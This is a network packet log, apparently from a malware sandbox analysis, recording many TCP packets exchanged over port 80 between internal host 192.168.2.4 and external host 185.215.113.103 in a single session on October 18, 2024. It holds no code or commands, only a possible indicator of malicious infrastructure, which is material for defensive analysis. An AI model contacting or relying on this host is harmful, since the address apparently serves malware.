Oct 18, 2024 15:04:27.233098030 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.233288050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233299017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233338118 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.233441114 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233454943 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233467102 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233498096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.233520985 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.233747959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233946085 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233958006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.233994007 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234025955 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234097958 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234110117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234122038 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234149933 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234179020 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234273911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234292030 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234329939 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234632969 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234643936 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234680891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234846115 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234875917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234915972 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.234936953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234947920 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234961033 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234973907 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.234988928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.235007048 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.235007048 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.235040903 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.235624075 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.235637903 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.235662937 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.235696077 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.235830069 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236007929 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236021042 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236049891 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.236082077 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.236152887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236166000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236179113 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236202955 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.236232042 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.236759901 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236843109 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236855984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.236891031 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.236917019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.237091064 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237102985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237114906 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237142086 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.237171888 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.237490892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237759113 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237771988 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.237822056 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.241723061 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.241823912 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.241980076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.242091894 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.247195959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.247363091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.247374058 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.247390985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.247441053 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.247474909 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.385638952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385656118 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385677099 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385721922 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.385771036 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.385843039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385854959 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385874033 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385886908 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385902882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.385902882 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.385931969 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.385957003 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.386415005 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386426926 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386437893 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386451006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386455059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.386464119 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386478901 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.386504889 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.386955976 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386976957 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386989117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.386997938 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387005091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387021065 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387049913 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387051105 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387506962 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387518883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387530088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387542009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387554884 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387586117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387586117 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387782097 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387794018 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387813091 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387829065 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387830973 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387845039 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387856960 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387857914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387872934 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.387883902 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387907028 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.387928963 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.388542891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388557911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388569117 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388582945 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388595104 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388601065 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.388607979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388621092 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.388622999 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.388641119 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.388658047 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389457941 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389472008 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389482021 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389493942 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389503002 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389508009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389520884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389522076 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389534950 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389548063 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389552116 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389559031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.389573097 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389589071 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.389611006 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.390355110 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390366077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390377045 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390388012 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390398026 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390403986 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.390408993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390422106 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.390428066 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.390444994 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.390467882 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.391232967 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391243935 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391253948 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391266108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391275883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391287088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391293049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.391304016 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391314983 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.391316891 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.391333103 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.391356945 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.392579079 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392591000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392600060 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392610073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392621040 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392627001 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.392635107 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392646074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392657995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.392677069 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.392678022 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.392704010 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393141985 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393155098 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393163919 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393174887 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393188000 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393196106 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393201113 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393212080 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393224001 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393224955 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393228054 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393241882 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393249989 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393253088 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393265963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.393268108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393287897 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393320084 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.393990993 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394002914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394012928 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394023895 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394035101 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394040108 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.394047022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394059896 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394067049 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.394073009 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394083977 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.394085884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394098043 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394100904 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.394109964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.394126892 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.394155025 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.506325006 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.506383896 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.506438971 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.506448984 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.506489992 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.541184902 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541245937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541255951 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541358948 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.541399956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541414022 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541426897 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541441917 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541452885 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.541467905 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.541492939 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.541943073 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541954994 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541965961 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541979074 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.541990995 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542001963 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542005062 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542017937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542031050 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542035103 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542052984 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542072058 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542577982 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542591095 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542639017 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542736053 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542747974 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542768002 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542778015 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542788982 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542798996 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542809963 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542819977 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542823076 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.542851925 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.542870998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.543744087 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543759108 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543768883 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543775082 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543786049 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543798923 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543795109 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.543812037 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543821096 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.543824911 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543838024 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.543848991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.543848991 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.543876886 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544614077 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544625998 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544636011 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544647932 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544665098 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544666052 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544677019 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544681072 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544693947 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544704914 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544707060 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544723034 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.544733047 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544750929 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.544775009 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545376062 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545388937 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545399904 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545413017 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545419931 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545425892 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545433998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545440912 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545454979 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545464993 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545466900 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545479059 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545480013 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545494080 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545506001 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.545506954 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545537949 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.545548916 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546338081 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546350956 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546367884 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546379089 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546390057 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546391964 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546406031 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546416998 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546417952 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546427965 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546430111 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546442986 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546453953 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546457052 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546463966 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546478987 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.546483040 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546504021 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.546516895 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547260046 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547285080 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547297001 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547308922 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547319889 CEST	80	49884	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:27.547327995 CEST	49884	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:27.547333002 CEST	80	49884	185.215.113.103	192.168.2.4
